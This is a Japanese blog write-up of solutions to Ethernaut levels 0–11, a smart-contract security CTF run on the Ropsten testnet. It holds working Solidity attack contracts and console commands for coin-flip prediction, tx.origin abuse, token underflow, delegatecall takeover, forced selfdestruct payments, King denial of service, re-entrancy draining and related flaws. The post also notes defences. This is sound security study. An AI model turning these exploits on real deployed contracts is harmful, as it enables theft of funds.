Ethereum
solidity
truffle
OpenZeppelin
Ethernaut

スマートコントラクトの脆弱性を学べるEthernautをやってみた

Ethernautって?

スマートコントラクトの脆弱性を実戦的に学べるサイトです。
https://ethernaut.zeppelin.solutions/

OpenZeppelinを作っている団体ですね。
CryptoZombieが終わったどうしよー って人はやってみてもいいかもしれません。

事前準備

Ethernautでも説明されますが、今回は以下を使いました

Ethernautの解き方

Ethernautは「Get new Instancce」ボタンを押すとRopsten上に自動的にコントラクトがデプロイされます。
基本的にはこのコントラクトを攻撃します。解き方は主に2種類です。

  • Chromeの検証>Cosoleから用意されているコマンドで攻撃
  • 自身でコントラクトをデプロイして、コントラクト経由で攻撃

11問解いてみました

0.Hello Ethernaut

これはチュートリアルなので脆弱性とはあまり関係ないです。
脱出ゲームの要領で指示が次々と表示されます。

解答例

await contract.info();
await contract.info1();
await contract.info2("hello");
await contract.infoNum();
await contract.info42();
await contract.theMethodName();
await contract.method7123949();
await contract.password;
await contract.authenticate("ethernaut0");

最後にSubmit Instanceを押して、カラフルな出力がいっぱい出たらおしまいです。

1.Fallback

コントラクトの所有者になるためにフォールバック関数のrequireの条件をtrueにします。

解答例

await contract.contribute({value:1});
await contract.getContribution();
await sendTransaction({to:contract.address, value:1});
await contract.owner.call();
player;
await contract.withdraw();
await getBalance(contract.address);

1行目:1eth送ります。この時はmsg.dataがあるのでフォールバック関数は呼び出されません
2行目:cの値が1なのでcontributionsに登録されたことがわかります
3行目:Ethernautのユーティリティを使って1eth送ります
4-5行目:コントラクトのownerになれたか確認します。これはOpenZeppelinのownerを見ています
6行目:全額引き出します
7行目:0になっていればOK

フォールバック関数の仕様などは以下を参照してみてください。
Fallback Function
fallback関数をシンプルに保つ

2.Fallout

コンストラクタと関数の間違い探しですね。

解答例

await contract.Fal1out();
await contract.owner.call();

1行目:FalloutとすべきところをFal1outになっており、関数になってしまっています
2行目:自分がownerになっているか確認します

Rubixiが社名変更によって、リファクタリングを漏らした事件があったそうです。1

Solidityの0.4.23から記述方法が変わりましたので、そちらを使用します

contract Fallout is Ownable {
    constructor() public payable {
        // ...
    }
}

https://qiita.com/sot528/items/50548945325a0e63fe22

3.Coin Flip

block.numberやblockHashは乱数ではないので先読みされると結果がわかります。

ここ以降はRopstenネットワークにコントラクトをデプロイしなければ解けない問題があります。
詳しくは参考:コントラクトの作成〜デプロイまでを参照してください

解答例

CoinFlipのflip関数をそのまま実装しflip関数を呼び出します。
同じブロックハッシュを使用することになり結果が求められます。

AttackCoinFlip.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";

contract CoinFlip {
    function flip(bool _guess) public returns (bool);
}

contract AttackCoinFlip is Ownable {

    uint256 lastHash;

    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function cheatFlip(address _targetAddress) external onlyOwner {
        uint256 blockValue = uint256(block.blockhash(block.number-1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
        bool side = coinFlip == 1 ? true : false;

        CoinFlip targetCoinFlip = CoinFlip(_targetAddress);
        targetCoinFlip.flip(side);
    }
}

なお、ここで定義したCoinFlipは抽象的なコントラクトです。
デプロイ済みのアドレスを指定することで、実現関係になくとも対象のflip関数を呼び出せます。2

migrationファイルを作成(以降の問題では省略)

2_initial_attack_coin_flip.js
var CoinFlip = artifacts.require("./AttackCoinFlip.sol");

module.exports = function(deployer) {
  deployer.deploy(CoinFlip);
};

以下を10回繰り返します。

truffleコマンド
AttackCoinFlip.deployed().then(function(instance){return instance.cheatFlip(COIN_FLIP_ADDRESS)});

最後に10連勝の確認

Ethernaut
await contract.consecutiveWins.call();

4.Telephone

tx.originとmsg.senderが一致しないケースを考えます。
※もしGet new Instanceに失敗する場合は、Gas Limitを増やしてみてください。

解答例

コントラクトから関数を呼び出すとtx.originmsg.senderが異なります。3

AttackTelephone.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";

contract Telephone {
    function changeOwner(address _owner) public;
}

contract AttackTelephone is Ownable {

    function attackChangeOwner(address _telephoneAddress, address _newOwner) external onlyOwner {
        Telephone telephone = Telephone(_telephoneAddress);
        telephone.changeOwner(_newOwner);
    }

}

attackChangeOwnerの呼び出し

truffleコマンド
AttackTelephone.deployed().then(function(instance){return instance.attackChangeOwner(TELEPHONE_ADDRESS, PLAYER_ADDRESS)});

Ownerの確認

Ethernaut
await contract.owner.call();

5.Token

加算・減算のオーバフローかアンダーフローのチェックがないのでそこを突きます

解答例

await contract.balanceOf(player);
await contract.transfer(contract.address, 21);

1行目:所持しているトークンを確認します
2行目:所持しているトークン+1を引数に設定することでアンダーフローを引き起こす

totalSupplyよりも多くのトークンが発行されてしまいました。
オーバフロー、アンダーフローの原因になるので、SafeMathを使うと良いようです。

6.Delegation

delegatecallを利用してpwnを呼び出し、ownerになります

解答例

truffleコマンド
await contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});

delegatecallにより、player→Delegation→Detlegateで呼び出されます。msg.senderはplayerです。
msg.dataは関数の署名を含めることで、関数を呼び出せます。4
Parityの事例ではこの脆弱性を突かれたのだそうです。

7.Force

payableな関数持たないコントラクトにEtherを強制的に送りつけます

解答例

selfdestructは対象のコントラクトに強制的にEthを送りつけることができます。
これを回避する方法はないので、balance==0の仮定はNGです。

AttackForce.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";


contract AttackForce is Ownable {

    function() external payable {

    }

    function kill(address _targetAddress) external onlyOwner {
        selfdestruct(_targetAddress);
    }

}

デプロイしたコントラクトに1Eth送ります。

truffle
AttackForce.deployed().then(function(instance){return instance.sendTransaction({value :1})});

Forceコントラクトにselfdestructを通じてEthを送ります。

truffle
AttackForce.deployed().then(function(instance){return instance.kill(FORCE_CONTRACT_ADDRESS)});

コントラクトのEthを確認します。

Ethernaut
await getBalance(contract.address); 

8.Vault

privateな状態変数であったとしても、中身を見る方法があるお話。

解答例

web3.eth.getStorageAtを使えば見ることができます。
今回はjavascriptで作りました。truffleのpet-shopを流用したのでコア部分以外は省略します。

app.js
    showPassword: function (contractAddress, position) {
        web3.eth.getStorageAt(contractAddress, position)
            .then(function (hexPassword) {
                var password = web3.utils.hexToAscii(hexPassword);
                console.log(password);
            });
    },

参考:ropstenに接続する方法

app.js
App.web3Provider = new Web3.providers.HttpProvider('https://ropsten.infura.io/');
web3 = new Web3(App.web3Provider);

showPasswordの呼び出し。

app.js
App.showPassword(CONTRACT_ADDRESS, 1);

「A very strong secret password :)」が表示されます。

Ethernaut
await contract.unlock('A very strong secret password :)');

lockedがfalseになったか確認

Ethernaut
await contract.locked.call();
> false

9.King

送金を失敗させてkingに新しいmsg.senderが代入されないようにします。

解答例

KingコントラクトにEthを送る関数のみ定義しました。
一方でこのコントラクトへの送金は失敗するように、payableなフォールバック関数は意図的に定義していません。

pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";


contract AttackKing is Ownable {

    // function() external payable {}

    function attackKing(address _targetAddress) external payable onlyOwner {
        _targetAddress.call.value(msg.value)();
    }

}

今回はtargetAddress.call.value()()を使用しています。
transferは2300のgas上限(上限の変更不可)があるので今回は使用できません。
(Kingのフォールバック関数が状態変数に書き込む処理などを行っているためoutofgas例外が発生します)

prizeを確認します。

Ethernaut
await contract.prize.call();

prize以上(1Eth)を送ってkingになります。
(以上って処理はなんだか変ですが…)

truffle
AttackKing.deployed().then(function(instance){return instance.attackKing(CONTRACT_ADDRESS, {value:1000000000000000000})});

kingを確認します。

Ethernaut
await contract.prize.king();

metamaskなどで別アカウントから、Kingコントラクトに送金しても失敗します。

King of the Etherの事例

10.Re-entrancy

targetAddress.call.value(hoge)()はリエントラントに対して安全でない話(ガスの上限がtransferに比べて高いため)5

解答例

Reentrancedonatewithdrawを呼び出して一旦ethを預けて引き出します。
引き出す際にフォールバック関数が呼び出されるので、再度withdrawを呼び出し、ethがなくなるまで引き出し続けます。
transferEtherはOwnerがethを受け取ります。今回は使用しなくても良いです。

AttackReentrance.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";


contract Reentrance {

    function donate(address _to) public payable;

    function withdraw(uint _amount) public;

}


contract AttackReentrance is Ownable {

    Reentrance private reentrance;

    function() public payable {
        reentrance.withdraw(0.1 ether);
    }

    function attackReentrance(address _targetAddress) external payable onlyOwner {
        reentrance = Reentrance(_targetAddress);
        reentrance.donate(address(this));
        reentrance.withdraw(msg.value);
    }

    function transferEther() external onlyOwner {
        owner.transfer(address(this).balance);
    }

}

0.1 ethを預けて引き出します。

truffle
AttackReentrance.deployed().then(function(instance){return instance.attackReentrance(CONTRACT_ADDRESS, {value:100000000000000000})});

balanceが0になったことを確認します。

Ethernaut
await getBalance(contract.address);
>0

The DAO事件はこの脆弱性を突かれました。

先にsenderの残高を減らして、ethのやり取りを行うことで回避できます。
使ったことはないですが、OpenZeppelinにはリエントラントを防ぐReentrancyGuardというのもあるようです。

11.Elevator

抽象的なコントラクトの制約の甘さを利用して、top==trueにします。

解答例

最初の呼び出し時はfalse、二度目の呼び出し時にtrueにします。
Building.isLastFloor関数はviewがついているので状態変数にはアクセスできないのですが、省略しても現状は呼び出せてしまうようです。
isLastFloorをスイッチする処理を書きます。

AttackElevator.sol
pragma solidity ^0.4.21;

import "zeppelin-solidity/contracts/ownership/Ownable.sol";


contract Elevator {
    function goTo(uint) public;
}


contract AttackElevator is Ownable {

    bool public isLast = true;

    function attackElevator(address _elevatorAddress, uint _floor) external onlyOwner {
        Elevator elevator =  Elevator(_elevatorAddress);
        elevator.goTo(_floor);
    }

    function isLastFloor(uint) public returns (bool) {
        isLast = !isLast;
        return isLast;
    }

}

継承せずに抽象コントラクトを扱うので少し複雑に見えますが、goTo関数では呼び出し元(AttackElevator)がBuildingとして振る舞います。

attackElevatorを呼び出します。

truffle
AttackElevator.deployed().then(function(instance){return instance.attackElevator(CONTRACT_ADDRESS, 10)});

topがtrueになったことを確認します。

Ethernaut
await contract.top.call();

まとめ

正直なかなか難しかったです。何もなしに解くことは多分できなかったですね…
脆弱性だけでなく副産物としてデプロイ、Solidityの仕様もかなり学べました。
ほんと素晴らしいコンテンツ…!
新しい問題も随時追加されるかもしれないので、今後もぜひ注目していきましょう。

参考:コントラクトの作成〜デプロイまで

こちらを参考にしてます
USING INFURA (OR A CUSTOM PROVIDER)

INFURAに登録

INFURAに登録して、ノードのURLをもらいます

プロジェクトの作成

truffle init
npm init
npm install truffle-hdwallet-provider
npm install --save--exact zeppelin-solidity

npm inittruffle-config.jstruffle.jsに変えました。
zeppelin-solidityは任意です。

truffle.configの修正

var HDWalletProvider = require("truffle-hdwallet-provider");

var infura_apikey = "API_KEY";
var mnemonic = "hoge hoge hoge hoge";

module.exports = {
  // See <https://ethereum.stackexchange.com/questions/23279/steps-to-deploy-a-contract-using-metamask-and-truffle>
  networks: {
    development: {
      host: "localhost",
      port: 7545,
      network_id: "*" // Match any network id
    },
    ropsten: {
      provider: new HDWalletProvider(mnemonic, "https://ropsten.infura.io/"+infura_apikey),
      network_id: 3,
      gas: 4700000
    }
  }
};

infura_apikeymnemonicは置き換えてください。

コントラクト作成

コントラクトとmigrationのファイルを作ります。

コントラクトのデプロイ

truffle console --network ropsten
migrate --reset

完成

etherscanで確認してください

参考サイト

Vitalik氏がこれまで起こった脆弱性についてまとめています
Thinking About Smart Contract Security

問題の解答例
スマートコントラクトのCTF Ethernaut
追加問題の解答例
Solving the Ethernaut Coin Flip, Telephone & Vault challenges (solidity)
Ethernautの解答例
ethernaut/contracts/attacks/ - Github

注釈